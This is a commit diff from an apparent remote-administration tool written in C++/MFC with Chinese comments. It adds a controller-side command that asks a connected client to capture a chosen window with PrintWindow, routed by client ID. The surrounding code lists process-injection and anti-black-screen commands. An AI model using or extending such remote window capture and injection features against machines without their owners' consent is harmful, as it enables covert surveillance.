Feat: window capture via PrintWindow with server-side HWND routing by clientID
This commit is contained in:
@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
||||
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen()
|
||||
memcpy(arg + 256, arch, arch.GetLength());
|
||||
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
||||
}
|
||||
|
||||
void CSystemDlg::OnWlistView()
|
||||
{
|
||||
int nItem = m_ControlList.GetSelectionMark();
|
||||
if (nItem < 0) return;
|
||||
auto data = (ItemData*)m_ControlList.GetItemData(nItem);
|
||||
if (!data) return;
|
||||
|
||||
// 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏
|
||||
if (data->Data[2] == "minimized") {
|
||||
MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节
|
||||
// 使用子连接的 clientID 而非 IP,以确保多客户端同 IP 时路由正确
|
||||
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||
uint64_t clientID = m_ContextObject->GetClientID();
|
||||
uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
|
||||
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
|
||||
|
||||
ASSERT(m_pParent);
|
||||
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user